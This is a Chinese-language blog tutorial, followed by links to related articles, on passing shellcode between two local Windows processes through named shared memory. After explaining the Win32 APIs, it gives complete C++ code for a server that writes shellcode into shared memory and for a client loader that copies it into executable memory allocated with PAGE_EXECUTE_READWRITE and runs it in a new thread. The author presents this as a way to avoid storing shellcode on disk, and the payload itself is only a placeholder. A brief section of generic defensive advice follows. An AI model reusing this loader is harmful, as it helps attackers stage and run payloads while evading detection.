C++ 共享内存ShellCode跨进程传输
在计算机安全领域,ShellCode是一段用于利用系统漏洞或执行特定任务的机器码。为了增加攻击的难度,研究人员经常探索新的传递ShellCode的方式。本文介绍了一种使用共享内存的方法,通过该方法,两个本地进程可以相互传递ShellCode,从而实现一种巧妙的本地传输手段。如果你问我为何在本地了还得这样传,那我只能说在某些时候我们可能会将ShellCode打散,而作为客户端也不需要时时刻刻在本地存放ShellCode代码,这能保证客户端的安全性。
服务端部分
CreateFileMapping
用于创建一个文件映射对象,将文件或者其他内核对象映射到进程的地址空间。这个函数通常用于共享内存的创建。
下面是 CreateFileMapping 函数的基本语法:
HANDLE CreateFileMapping(
HANDLE hFile,
LPSECURITY_ATTRIBUTES lpFileMappingAttributes,
DWORD flProtect,
DWORD dwMaximumSizeHigh,
DWORD dwMaximumSizeLow,
LPCTSTR lpName
);
参数说明:
hFile: 文件句柄,可以是一个磁盘文件或者其他内核对象的句柄。如果是INVALID_HANDLE_VALUE,则表示创建一个只在内存中的映射,而不与文件关联。lpFileMappingAttributes: 安全属性,一般为NULL,表示使用默认的安全设置。flProtect: 内存保护选项,指定内存页的保护属性,例如读、写、执行等。常见的值有PAGE_READONLY、PAGE_READWRITE、PAGE_EXECUTE_READ等。dwMaximumSizeHigh和dwMaximumSizeLow: 指定文件映射对象的最大大小。如果映射的是一个文件,可以通过这两个参数指定文件映射的大小。lpName: 文件映射对象的名字,如果是通过共享内存进行跨进程通信,可以通过这个名字在不同的进程中打开同一个文件映射对象。
成功调用 CreateFileMapping 会返回一个文件映射对象的句柄,失败则返回 NULL。通常创建成功后,可以通过 MapViewOfFile 函数将文件映射对象映射到当前进程的地址空间中,进行读写操作。
MapViewOfFile
用于将一个文件映射对象映射到调用进程的地址空间中,使得进程可以直接操作映射区域的内容。
以下是 MapViewOfFile 函数的基本语法:
LPVOID MapViewOfFile(
HANDLE hFileMappingObject,
DWORD dwDesiredAccess,
DWORD dwFileOffsetHigh,
DWORD dwFileOffsetLow,
SIZE_T dwNumberOfBytesToMap
);
参数说明:
hFileMappingObject: 文件映射对象的句柄,这个句柄通常是通过CreateFileMapping函数创建得到的。dwDesiredAccess: 映射区域的访问权限,常见的值有FILE_MAP_READ、FILE_MAP_WRITE、FILE_MAP_EXECUTE。dwFileOffsetHigh和dwFileOffsetLow: 文件映射的起始位置。在这里,通常指定为0,表示从文件的开头开始映射。dwNumberOfBytesToMap: 指定映射的字节数,通常可以设置为 0 表示映射整个文件。
成功调用 MapViewOfFile 会返回映射视图的起始地址,失败则返回 NULL。映射成功后,可以直接通过返回的地址进行读写操作。当不再需要映射时,应该通过 UnmapViewOfFile 函数解除映射。
CreateMutex
用于创建一个互斥体对象。互斥体(Mutex)是一种同步对象,用于确保在多线程或多进程环境中对资源的互斥访问,防止多个线程或进程同时访问共享资源,以避免数据竞争和冲突。
以下是 CreateMutex 函数的基本语法:
HANDLE CreateMutex(
LPSECURITY_ATTRIBUTES lpMutexAttributes,
BOOL bInitialOwner,
LPCTSTR lpName
);
参数说明:
lpMutexAttributes: 一个指向SECURITY_ATTRIBUTES结构的指针,决定了互斥体的安全性。通常可以设为NULL,表示使用默认的安全描述符。bInitialOwner: 一个布尔值,指定互斥体的初始状态。如果设置为TRUE,表示创建互斥体时已经拥有它,这通常用于创建一个已经锁定的互斥体。如果设置为FALSE,则表示创建互斥体时未拥有它。lpName: 一个指向包含互斥体名称的空终止字符串的指针。如果为NULL,则创建一个匿名的互斥体;否则,创建一个具有指定名称的互斥体。通过指定相同的名称,可以在多个进程中共享互斥体。
成功调用 CreateMutex 会返回互斥体对象的句柄,失败则返回 NULL。在使用完互斥体后,应该通过 CloseHandle 函数关闭句柄以释放资源。
CreateEvent
用于创建一个事件对象。事件对象是一种同步对象,用于实现多线程或多进程之间的通信和同步。通过事件对象,可以使一个或多个线程等待某个事件的发生,从而协调它们的执行。
以下是 CreateEvent 函数的基本语法:
HANDLE CreateEvent(
LPSECURITY_ATTRIBUTES lpEventAttributes,
BOOL bManualReset,
BOOL bInitialState,
LPCTSTR lpName
);
参数说明:
lpEventAttributes: 一个指向SECURITY_ATTRIBUTES结构的指针,决定了事件对象的安全性。通常可以设为NULL,表示使用默认的安全描述符。bManualReset: 一个布尔值,指定事件对象的复位类型。如果设置为TRUE,则为手动复位;如果设置为FALSE,则为自动复位。手动复位的事件需要通过ResetEvent函数手动将其重置为非触发状态,而自动复位的事件会在一个等待线程被释放后自动复位为非触发状态。bInitialState: 一个布尔值,指定事件对象的初始状态。如果设置为TRUE,表示创建事件对象时已经处于触发状态;如果设置为FALSE,则表示创建事件对象时处于非触发状态。lpName: 一个指向包含事件对象名称的空终止字符串的指针。如果为NULL,则创建一个匿名的事件对象;否则,创建一个具有指定名称的事件对象。通过指定相同的名称,可以在多个进程中共享事件对象。
成功调用 CreateEvent 会返回事件对象的句柄,失败则返回 NULL。在使用完事件对象后,应该通过 CloseHandle 函数关闭句柄以释放资源。
WaitForSingleObject
用于等待一个或多个内核对象的状态变为 signaled。内核对象可以是事件、互斥体、信号量等等。
以下是 WaitForSingleObject 函数的基本语法:
DWORD WaitForSingleObject(
HANDLE hHandle,
DWORD dwMilliseconds
);
参数说明:
hHandle: 要等待的内核对象的句柄。可以是事件、互斥体、信号量等。dwMilliseconds: 等待的时间,以毫秒为单位。如果设为INFINITE,表示无限等待,直到内核对象变为 signaled。
WaitForSingleObject 返回一个 DWORD 类型的值,表示等待的结果。可能的返回值包括:
WAIT_OBJECT_0:内核对象已经变为 signaled 状态。WAIT_TIMEOUT:等待时间已过,但内核对象仍然没有变为 signaled 状态。WAIT_FAILED:等待出错,可以通过调用GetLastError获取详细错误信息。
这个函数是同步函数,调用它的线程会阻塞,直到等待的对象变为 signaled 状态或者等待时间超时。
ReleaseMutex
用于释放之前由 WaitForSingleObject 或 WaitForMultipleObjects 等函数获取的互斥体对象的所有权。
以下是 ReleaseMutex 函数的基本语法:
BOOL ReleaseMutex(
HANDLE hMutex
);
参数说明:
hMutex: 要释放的互斥体对象的句柄。
ReleaseMutex 返回一个 BOOL 类型的值,表示释放互斥体对象是否成功。如果函数成功,返回值为非零;如果函数失败,返回值为零。可以通过调用 GetLastError 获取详细错误信息。
互斥体(Mutex)是一种同步对象,用于控制对共享资源的访问。在多线程或者多进程环境中,互斥体可以确保在同一时刻只有一个线程或者进程能够访问被保护的共享资源。当一个线程或者进程成功获取互斥体的所有权后,其他试图获取该互斥体所有权的线程或者进程将会被阻塞,直到拥有互斥体的线程或者进程调用 ReleaseMutex 释放互斥体所有权。
SetEvent
用于将指定的事件对象的状态设置为 signaled(有信号)。该函数通常与等待函数(如 WaitForSingleObject 或 WaitForMultipleObjects)一起使用,以实现线程之间或进程之间的同步。
以下是 SetEvent 函数的基本语法:
BOOL SetEvent(
HANDLE hEvent
);
参数说明:
hEvent: 事件对象的句柄。
SetEvent 函数返回一个 BOOL 类型的值,表示设置事件对象状态是否成功。如果函数成功,返回值为非零;如果函数失败,返回值为零。可以通过调用 GetLastError 获取详细错误信息。
事件对象是一种同步对象,用于在线程或者进程之间发信号。通过 SetEvent 可以将事件对象的状态设置为 signaled,表示某个条件已经满足,其他等待该事件对象的线程或者进程可以继续执行。
有了上述API函数的支持,那么实现这个服务端将变得很容易,如下所示则是服务端完整代码,通过创建一个共享内存池,并等待用户按下简单,当键盘被按下时则会自动填充缓冲区为特定内容。
#include <iostream>
#include <Windows.h>
#define BUF_SIZE 1024
HANDLE H_Mutex = NULL;
HANDLE H_Event = NULL;
char ShellCode[] = "此处是ShellCode";
using namespace std;
int main(int argc,char *argv[])
{
// 创建共享文件句柄
HANDLE shareFileHandle = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, BUF_SIZE, "SharedMem");
if (shareFileHandle == NULL)
{
return 1;
}
//映射缓冲区视图,得到指向共享内存的指针
LPVOID lpBuf = MapViewOfFile(shareFileHandle, FILE_MAP_ALL_ACCESS, 0, 0, BUF_SIZE);
if (lpBuf == NULL)
{
CloseHandle(shareFileHandle);
return 1;
}
// 创建互斥器
H_Mutex = CreateMutex(NULL, FALSE, "sm_mutex");
H_Event = CreateEvent(NULL, FALSE, FALSE, "sm_event");
// 操作共享内存
while (true)
{
getchar();
// 使用互斥体加锁,获得互斥器的拥有权
WaitForSingleObject(H_Mutex, INFINITE);
memcpy(lpBuf, ShellCode, strlen(ShellCode) + 1);
ReleaseMutex(H_Mutex); // 放锁
SetEvent(H_Event); // 激活等待的进程
}
CloseHandle(H_Mutex);
CloseHandle(H_Event);
UnmapViewOfFile(lpBuf);
CloseHandle(shareFileHandle);
return 0;
}
客户端部分
OpenFileMapping
用于打开一个已存在的文件映射对象,以便将它映射到当前进程的地址空间。文件映射对象是一种用于在多个进程间共享内存数据的机制。
以下是 OpenFileMapping 函数的基本语法:
HANDLE OpenFileMapping(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
LPCTSTR lpName
);
参数说明:
dwDesiredAccess: 指定对文件映射对象的访问权限。可以使用标准的访问权限标志,如FILE_MAP_READ、FILE_MAP_WRITE等。bInheritHandle: 指定句柄是否可以被子进程继承。如果为TRUE,子进程将继承句柄;如果为FALSE,子进程不继承句柄。lpName: 指定文件映射对象的名称。此名称在系统内必须是唯一的。如果是NULL,函数将打开一个不带名称的文件映射对象。
OpenFileMapping 函数返回一个文件映射对象的句柄。如果函数调用失败,返回值为 NULL。可以通过调用 GetLastError 获取详细错误信息。
OpenEvent
用于打开一个已存在的命名事件对象。事件对象是一种同步对象,用于在多个进程间进行通信和同步。
以下是 OpenEvent 函数的基本语法:
HANDLE OpenEvent(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
LPCTSTR lpName
);
参数说明:
dwDesiredAccess: 指定对事件对象的访问权限。可以使用标准的访问权限标志,如EVENT_MODIFY_STATE、EVENT_QUERY_STATE等。bInheritHandle: 指定句柄是否可以被子进程继承。如果为TRUE,子进程将继承句柄;如果为FALSE,子进程不继承句柄。lpName: 指定事件对象的名称。此名称在系统内必须是唯一的。如果是NULL,函数将打开一个不带名称的事件对象。
OpenEvent 函数返回一个事件对象的句柄。如果函数调用失败,返回值为 NULL。可以通过调用 GetLastError 获取详细错误信息。
VirtualAlloc
用于在进程的虚拟地址空间中分配一段内存区域。这个函数通常用于动态分配内存,而且可以选择性地将其初始化为零。
以下是 VirtualAlloc 函数的基本语法:
LPVOID VirtualAlloc(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
参数说明:
lpAddress: 指定欲分配内存的首地址。如果为NULL,系统将决定分配的地址。dwSize: 指定欲分配内存的大小,以字节为单位。flAllocationType: 指定分配类型。可以是以下常量之一:MEM_COMMIT:将内存提交为物理存储(RAM或磁盘交换文件)中的一页或多页。MEM_RESERVE:为欲保留的内存保留地址空间而不分配任何物理存储。MEM_RESET:将内存区域的内容初始化为零。必须与MEM_COMMIT一起使用。
flProtect: 指定内存的访问保护。可以是以下常量之一:PAGE_EXECUTE_READ: 允许读取并执行访问。PAGE_READWRITE: 允许读写访问。
VirtualAlloc 函数返回一个指向分配的内存区域的指针。如果函数调用失败,返回值为 NULL。可以通过调用 GetLastError 获取详细错误信息。
CreateThread
用于创建一个新的线程。线程是执行程序代码的单一路径,一个进程可以包含多个线程,这些线程可以并发执行。
以下是 CreateThread 函数的基本语法:
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
参数说明:
lpThreadAttributes: 用于设置线程的安全属性,通常设置为NULL。dwStackSize: 指定线程堆栈的大小,可以设置为 0 使用默认堆栈大小。lpStartAddress: 指定线程函数的地址,新线程将从此地址开始执行。lpParameter: 传递给线程函数的参数。dwCreationFlags: 指定线程的创建标志,通常设置为 0。lpThreadId: 接收新线程的标识符。如果为NULL,则不接收线程标识符。
CreateThread 函数返回一个新线程的句柄。如果函数调用失败,返回值为 NULL。可以通过调用 GetLastError 获取详细错误信息。
客户端同样创建内存映射,使用服务端创建的内存池,并在里面取出ShellCode执行后反弹,完整代码如下所示;
#include <iostream>
#include <Windows.h>
#include <winbase.h>
using namespace std;
HANDLE H_Mutex = NULL;
HANDLE H_Event = NULL;
int main(int argc, char* argv[])
{
// 打开共享文件句柄
HANDLE sharedFileHandle = OpenFileMapping(FILE_MAP_ALL_ACCESS, FALSE, "SharedMem");
if (sharedFileHandle == NULL)
{
return 1;
}
// 映射缓存区视图,得到指向共享内存的指针
LPVOID lpBuf = MapViewOfFile(sharedFileHandle, FILE_MAP_ALL_ACCESS, 0, 0, 0);
if (lpBuf == NULL)
{
CloseHandle(sharedFileHandle);
return 1;
}
H_Event = OpenEvent(EVENT_ALL_ACCESS, FALSE, "sm_event");
if (H_Event == NULL)
{
return 1;
}
char buffer[4096] = {0};
while (1)
{
HANDLE hThread;
// 互斥体接收数据并加锁
WaitForSingleObject(H_Event, INFINITE);
WaitForSingleObject(H_Mutex, INFINITE); // 使用互斥体加锁
memcpy(buffer, lpBuf, strlen((char*)lpBuf) + 1); // 接收数据到内存
ReleaseMutex(H_Mutex); // 放锁
cout << "接收到的ShellCode: " << buffer << endl;
// 注入ShellCode并执行
void* ShellCode = VirtualAlloc(0, sizeof(buffer), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
CopyMemory(ShellCode, buffer, sizeof(buffer));
hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ShellCode, 0, 0, 0);
WaitForSingleObject(hThread, INFINITE);
}
CloseHandle(H_Event);
CloseHandle(H_Mutex);
UnmapViewOfFile(lpBuf);
CloseHandle(sharedFileHandle);
return 0;
}
潜在风险和安全建议
虽然这种方法在本地攻击场景中有一定的巧妙性,但也存在潜在的风险。以下是一些建议:
- 防御共享内存滥用: 操作系统提供了一些机制,如使用 ACL(访问控制列表)和安全描述符,可以限制对共享内存的访问。合理配置这些机制可以减轻潜在的滥用风险。
- 加强系统安全策略: 使用强密码、及时更新系统和应用程序、启用防火墙等都是基础的系统安全策略。这些都有助于防止潜在的Shellcode攻击。
- 监控和响应: 部署实时监控和响应系统,能够及时检测到异常行为并采取相应措施,对于减缓潜在威胁的影响十分重要。
总结
本文介绍了通过共享内存传递Shellcode的方法,通过这种巧妙的本地攻击方式,两个进程可以在不直接通信的情况下相互传递Shellcode。然而,使用这种技术需要非常谨慎,以免被滥用用于不当用途。在实际应用中,必须谨慎权衡安全性和便利性,同时配合其他防御措施,确保系统的整体安全性。
C++ 共享内存ShellCode跨进程传输的更多相关文章
- linux 共享内存shm_open实现进程间大数据交互
linux 共享内存shm_open实现进程间大数据交互 read.c #include <sys/types.h> #include <sys/stat.h> #includ ...
- 【网络编程基础】Linux下进程通信方式(共享内存,管道,消息队列,Socket)
在网络课程中,有讲到Socket编程,对于tcp讲解的环节,为了加深理解,自己写了Linux下进程Socket通信,在学习的过程中,又接触到了其它的几种方式.记录一下. 管道通信(匿名,有名) 管道通 ...
- linux进程间的通信之 共享内存
一.共享内存介绍 共享内存是三个IPC(Inter-Process Communication)机制中的一个. 它允许两个不相关的进程访问同一个逻辑内存. 共享内存是在两个正在进行的进程之间传递数据的 ...
- Linux进程通信之共享内存实现生产者/消费者模式
共享内存 共享内存是内核为进程创建的一个特殊内存段,它将出现在进程自己的地址空间中,其它进程可以将同一段共享内存连接(attach)到自己的地址空间.这是最快的进程间通信方式,但是不提供任何同步功能( ...
- PHP进程通信基础——信号量+共享内存通信
PHP进程通信基础--信号量+共享内存通信 由于进程之间谁先执行并不确定,这取决于内核的进程调度算法,其中比较复杂.由此有可能多进程在相同的时间内同时访问共享内存,从而造成不可预料的错误.信号量这个名 ...
- Linux学习笔记(14)-进程通信|共享内存
在Linux中,共享内存是允许两个不相关的进程访问同一个逻辑内存的进程间通信方法,是在两个正在运行的进程之间共享和传递数据的一种非常有效的方式. 不同进程之间共享的内存通常安排为同一段物理内存.进程可 ...
- Linux进程通信之System V共享内存
前面已经介绍过了POSIX共享内存区,System V共享内存区在概念上类似POSIX共享内存区,POSIX共享内存区的使用是调用shm_open创建共享内存区后调用mmap进行内存区的映射,而Sys ...
- 进程间的八种通信方式----共享内存是最快的 IPC 方式
1.无名管道( pipe ):管道是一种半双工的通信方式,数据只能单向流动,而且只能在具有亲缘关系的进程间使用.进程的亲缘关系通常是指父子进程关系. 2.高级管道(popen):将另一个程序当做一个新 ...
- linux 进程学习笔记-共享内存
如果能划定一块物理内存,让多个进程都能将该内存映射到其自身虚拟内存空间的话,那么进程可以通过向这块内存空间读写数据而达到通信的目的.另外,和消息队列不同的是,共享的内存在用户空间而不是核空间,那么就不 ...
- Linux进程IPC浅析[进程间通信SystemV共享内存]
Linux进程IPC浅析[进程间通信SystemV共享内存] 共享内存概念,概述 共享内存的相关函数 共享内存概念,概述: 共享内存区域是被多个进程共享的一部分物理内存 多个进程都可把该共享内存映射到 ...
随机推荐
- AVR汇编(二):AVR架构介绍
AVR汇编(二):AVR架构介绍 ATmega328P介绍 ATmega328P是Atmel公司(现Microchip公司)推出的一个基于AVR架构的高性能低功耗单片机,拥有32KB的Flash.1K ...
- 文心一言 VS 讯飞星火 VS chatgpt (82)-- 算法导论8.1 1题
一.如果用go语言,在一棵比较排序算法的决策树中,一个叶结点可能的最小深度是多少? 文心一言: 在一个排序决策树(如二叉搜索树)中,每个叶节点的最小深度等于输入数据中最大元素与最小元素之间的位距离.这 ...
- 《SQL与数据库基础》20. 主从复制
目录 主从复制 原理 搭建 主库配置 从库配置 测试 本文以 MySQL 为例 主从复制 主从复制是指将主数据库的 DDL 和 DML 操作通过二进制日志传到从库服务器中,然后在从库上对这些日志重新执 ...
- Visual Studio必备插件
1.Rainbow Braces 2.Codist 3.ResXManager 4.XAML Styler for Visual Studio 2022 5.Viasfora 6.ZenCoding ...
- Mysql忘记密码后如何重置密码
长时间不使用本机的Mysql后把密码忘记了咋整?直接上干货: 第一步(Mysql部署的位置,若自己能找到就忽略这一步):任务管理器中也可以找到 第二步:修改配置文件 在my.ini末尾加上 skip- ...
- Vite+ts+springboot项目集成2
项目集成 集成element-plus 官网地址: 安装图标库 pnpm install element-plus @element-plus/icons-vue 入口文件main.ts全局安装ele ...
- 彻底解决Chrome“请停用以开发者模式运行的扩展程序”提示(亲测整合)
本站有大佬已写较全的解决方案(修改dll文件法) 原文链接 但是本人Chrome76版本不适用,匹配不到提示语,在知乎中找到修改注册表的方法可以解决 原文链接 最后附上一个谷歌访问助手吧 链接: ht ...
- Openssl Des3对压缩文件进行加密命令详解
群友提问: 致力于明天: tar -cvf - WMG_Back_"$Today"|openssl des3 -salt -k hY91gd3GJAAfghECleLwWQAPGK ...
- 基于 ACK Serverless 解锁你家萌宠的 AI 形象
基于 ACK Serverless 解锁你家萌宠的 AI 形象详情 1. 计费说明 必看!!必看!!必看!! 本实验为付费体验,需要消耗账号费用.体验后若不再需要使用,请及时释放资源,避免持 ...
- K8s部署轻量级日志收集系统EFK(elasticsear + filebeat + kibana)
目录 K8s部署EFK(elasticsear + filebeat + kibana)日志收集 一.准备镜像 二.搭建Elasticsearch + kibana 1.在可执行kubectl命令的服 ...